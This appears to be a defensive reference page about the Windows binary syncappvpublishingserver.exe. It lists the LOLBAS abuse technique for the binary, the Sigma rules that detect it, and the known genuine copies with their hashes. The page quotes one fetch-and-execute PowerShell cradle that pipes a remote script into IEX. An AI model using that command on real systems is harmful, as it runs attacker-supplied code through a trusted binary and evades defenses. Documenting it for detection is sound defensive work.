Identifier / Programs / Windows
syncappvpublishingserver.exe
Microsoft Application Virtualization Sync Utility file version info (xCyclopedia)
LOLBAS Execute 1 Sigma rule name it 1 ATT&CK technique 1 documented command 7 known copies with hashes
How syncappvpublishingserver.exe is abused
Execute T1218 System Binary Proxy Execution
Each abuse is LOLBAS's category and the options and words it uses; the full write-up is on LOLBAS's page for syncappvpublishingserver.exe.
1 documented command
Execute T1218 System Binary Proxy Execution User privileges
Example command on how inject Powershell code into the process
SyncAppvPublishingServer.exe "n;(New-Object Net.WebClient).DownloadString('{REMOTEURL:.ps1}') | IEX"Trips 2 Sigma rules: highPowerShell Download and Execution Cradles by Florian Roth (Nextron Systems); mediumSuspicious PowerShell Invocations - Specific - ProcessCreation by Nasreddine Bencherchali (Nextron Systems)
The command the identifier reads trips a Sigma process-creation rule. These commands and their descriptions are from LOLBAS’s entry for syncappvpublishingserver.exe, by Oddvar Moe, at commit 2056cb766250 of 2026-09-26, under the GPL-3.0 and LOLBAS’s notice, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on LOLBAS’s page for syncappvpublishingserver.exe. The identifier reads it with LOLBAS’s placeholders filled in: a URL as https://example.com/file, a share as \\192.0.2.10\share\file, a path as C:\Data\file and a command as calc.exe.
What detects it
Is it the real syncappvpublishingserver.exe?
C:\Windows\system32\7 known copies
10.0.22000.282 (WinBuild.160101.0800) · C:\WINDOWS\system32\SyncAppvPublishingServer.exe · signed by Microsoft Windows
54445d511d9c53749410fca4457a31459422020254cbf19d8fe23bae4955da0d10.0.19041.488 (WinBuild.160101.0800) · C:\Windows\system32\SyncAppvPublishingServer.exe · signed by Microsoft Windows
c92228717e28c25e9f8b295be7849cfcafed9d76c945bdfb993e683f60ac358610.0.19041.264 (WinBuild.160101.0800) · C:\Windows\system32\SyncAppvPublishingServer.exe · signed by Microsoft Windows
92d0cc0c047c2aca0941f4e99b35bdd52b9a2fae1ba3216cad3ddeeb36e3161a10.0.19041.1320 (WinBuild.160101.0800) · C:\Windows\system32\SyncAppvPublishingServer.exe · signed by Microsoft Windows
53a78d6c3d05552e616897712d0d16bf14d0030af2bb367841b6aecc883ff21810.0.18362.815 (WinBuild.160101.0800) · C:\WINDOWS\system32\SyncAppvPublishingServer.exe · signed by Microsoft Windows
19ae8db900f2f3446c51a05651ff61b071b091d75566ab3ddebefeb1f995705fVersion not recorded · C:\Windows\system32\SyncAppvPublishingServer.exe · signed by Microsoft Windows
6cd9e8fd8d6324cfeb6af0331cb98aa6026e1550853a74e9ecffa3b6d50a43abVersion not recorded · C:\Windows\system32\SyncAppvPublishingServer.exe · signed by Microsoft Windows
bcf02179ac47ce43dd46bf50d0f758b49f925dae41a3263167119fa1138a6214From the file’s version info and the copies recorded by xCyclopedia (MIT). A copy in another folder, signed by someone else or with another hash is not necessarily malicious, but it is worth a closer look. In Ceplin, "<sha256>".whatis() says which known copy a hash is.